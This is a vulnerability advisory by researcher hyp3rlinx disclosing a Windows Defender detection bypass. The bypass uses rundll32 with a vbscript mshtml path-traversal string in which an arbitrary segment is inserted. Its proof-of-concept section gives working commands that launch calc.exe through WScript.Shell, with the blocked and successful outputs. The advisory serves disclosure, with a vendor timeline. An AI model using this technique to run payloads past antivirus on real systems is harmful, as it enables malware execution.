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Microsoft Windows Defender / Trojan.Win32/Powessere.G VBScript Detection Bypass
This is additional research regarding a mitigation bypass in Windows Defender. Back in 2022, the researcher disclosed how it could be easily bypassed by passing an extra path traversal when referencing mshtml but that issue has since been mitigated. However, the researcher discovered using multiple commas can also be used to achieve the bypass. This issue was addressed. The fix was short lived as the researcher found yet another third trivial bypass. Previously, the researcher disclosed 3 bypasses using rundll32 javascript, but this example leverages the VBSCRIPT and ActiveX engines.
[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org[+] Source: https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_VBSCRIPT_TROJAN_MITIGATION_BYPASS.txt[+] twitter.com/hyp3rlinx[+] ISR: ApparitionSec [Vendor]www.microsoft.com[Product]Windows Defender[Vulnerability Type]Windows Defender VBScript Detection Mitigation BypassTrojanWin32Powessere.G[CVE Reference]N/A[Security Issue]Typically, Windows Defender detects and prevents TrojanWin32Powessere.G aka "POWERLIKS" type execution that leverages rundll32.exe. Attempts at execution failand attackers will typically get an "Access is denied" error message. Previously I have disclosed 3 bypasses using rundll32 javascript, this example leverages VBSCRIPT and ActiveX engine.Running rundll32 vbscript:"\\..\\mshtml\\..\\mshtml\\..\\mshtml,RunHTMLApplication "+String(CreateObject("Wscript.Shell").Run("calc.exe"),0), will typically get blocked by Windows Defender withan "Access is denied" message.Trojan:Win32/Powessere.GCategory: TrojanThis program is dangerous and executes commands from an attacker.However, you can add arbitrary text for the 2nd mshtml parameter to build off my previous javascript based bypasses to skirt defender detection.Example, adding "shtml", "Lol" or other text and it will execute as of the time of this writing.E.g.C:\sec>rundll32 vbscript:"\\..\\mshtml\\..\\PWN\\..\\mshtml,RunHTMLApplication "+String(CreateObject("Wscript.Shell").Run("calc.exe"),0)[References]https://twitter.com/hyp3rlinx/status/1759260962761150468https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART_3.txthttps://lolbas-project.github.io/lolbas/Binaries/Rundll32/[Exploit/POC]Open command prompt as AdministratorC:\sec>rundll32 vbscript:"\\..\\mshtml\\..\\mshtml\\..\\mshtml,RunHTMLApplication "+String(CreateObject("Wscript.Shell").Run("calc.exe"),0)Access is denied.C:\sec>rundll32 vbscript:"\\..\\mshtml\\..\\LoL\\..\\mshtml,RunHTMLApplication "+String(CreateObject("Wscript.Shell").Run("calc.exe"),0)We win![Network Access]Local[Severity]High[Disclosure Timeline]Vendor Notification: February 18, 2024 : Public Disclosure[+] DisclaimerThe information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, andthat due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due creditis given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibilityfor any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related informationor exploits by the author or elsewhere. All content (c).hyp3rlinx